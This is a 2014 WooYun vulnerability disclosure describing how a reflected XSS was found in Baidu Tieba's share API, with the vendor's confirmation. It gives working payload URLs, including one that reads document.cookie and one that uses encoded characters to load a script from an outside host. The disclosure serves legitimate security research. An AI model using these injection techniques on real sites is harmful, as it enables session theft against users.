当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-050220

漏洞标题:我是如何挖掘出百度贴吧主站反射型XSS的

相关厂商:百度

漏洞作者: 超威蓝猫

提交时间:2014-02-03 11:02

修复时间:2014-03-20 11:03

公开时间:2014-03-20 11:03

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-03: 细节已通知厂商并且等待厂商处理中
2014-02-03: 厂商已经确认,细节仅向厂商公开
2014-02-13: 细节向核心白帽子及相关领域专家公开
2014-02-23: 细节向普通白帽子公开
2014-03-05: 细节向实习白帽子公开
2014-03-20: 细节向公众公开

简要描述:

我是如何挖掘出百度贴吧主站反射型XSS的

详细说明:

首先,我们在 share.baidu.com 上找到目标,这是"转帖到百度贴吧"的链接地址:

http://tieba.baidu.com/f/commit/share/openShareApi?url=http%3A%2F%2Fshare.baidu.com%2F%230-tieba-1-78014-7eff13ea8df1a334a227e1223f8d0dd3&title=%B0%D9%B6%C8%B7%D6%CF%ED%A3%AC%CE%AA%C4%FA%B4%F8%C0%B4%B8%FC%B6%E0%C1%F7%C1%BF%20-%20%B0%D9%B6%C8%B7%D6%CF%ED&desc=&comment=

t1.jpg


可以看到,该URL中传入的参数"url"会输出在js代码段中,同时前面还有个"pic"参数,内容是来源于所传入url页面内的图片的地址,并非从URL中直接传入。我们猜测此处可以主动传入"pic"参数的内容。我们来测试一下。
为了直观,这里省去无关的 title 、 desc 、 comment 参数。

http://tieba.baidu.com/f/commit/share/openShareApi?url=http%3A%2F%2Fwww.baidu.com&pic=http://www.google.com/images/srpr/logo11w.png


t2.jpg


果然原模原样输出了。
经过测试,我们知道传入的"pic"参数必须以图片格式结尾,例如.png或.jpg等,且"pic"参数没有过滤双引号"(%22)。

http://tieba.baidu.com/f/commit/share/openShareApi?url=http%3A%2F%2Fwww.baidu.com&pic=hellobaidu%22.png

t31.jpg


t3.jpg


虽然这里没过滤双引号,但只要传入 < 或 > ,pic参数就不会输出在js段中,所以我们无法闭合<script>标签来插入新的HTML标签。我们不妨试着在当前<script>标签中写入自己的语句。
将该段js文本格式化,通过观察可以很容易写出闭合语句:

http://tieba.baidu.com/f/commit/share/openShareApi?url=http%3A%2F%2Fwww.baidu.com&pic=hellobaidu%22]}//.png

t4.jpg


虽然闭合是闭合成功了,但想写入自己的语句必须在 } 后面加个 ; 才有效,测试可发现若传入 ; 则输出在js段中的pic参数的内容是分号后面的文本。

http://tieba.baidu.com/f/commit/share/openShareApi?url=http%3A%2F%2Fwww.baidu.com&pic=hellobaidu%22]};xsscode//.png

t5.jpg


忧伤的我听着《午夜DJ》,瞬间变得机智:URL中传入的"url"参数输出在"pic"参数后面。如果巧妙地运用换行符(%0a)和注释(//)可能可以构造出XSS。
经过测试可知,pic参数和url参数均可传入 %0a 换行符。我们构造以下代码:

http://tieba.baidu.com/f/commit/share/openShareApi?url=http%3A%2F%2Fwww.baidu.com%0aalert(/hi%20baidu/)//&pic=hellobaidu%22]}//.png

t6.jpg


在"pic"参数中,用 "]} 闭合了前面的语句后,用 // 注释掉后面的代码,由于"url"参数输出的位置在"pic"的后面,我们传入的"url"参数用换行符 %0a 来截断注释,写新的一行,然后写入自己的代码,之后用 // 注释后面的无关代码以保证不出现错误。

t71.jpg


t72.jpg


最后构造出的URI:

http://tieba.baidu.com/f/commit/share/openShareApi?url=http://%0aalert(document.cookie)//&pic=%22]}//.gif

t8.jpg


调用外部js(此处过滤了单双引号。其实URL可以更短的,这里只作证明可调用外部js):

http://tieba.baidu.com/f/commit/share/openShareApi?url=http%3A%2F%2Fwww.baidu.com%0adocument.write(String.fromCharCode(39,60,115,99,114,105,112,116,32,115,114,99,61,47,47,120,115,115,46,116,119,62,39))//&pic=%22]}//.gif

漏洞证明:

如上。
虽然BDUSS是http-only保护的,但XSS总是存在一定风险的。

修复方案:

过滤和转义

版权声明:转载请注明来源 超威蓝猫@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2014-02-03 11:26

厂商回复:

感谢提交,安全团队会尽快联系业务部门处理,新年快乐。
--“百度,因你更安全”

最新状态:

暂无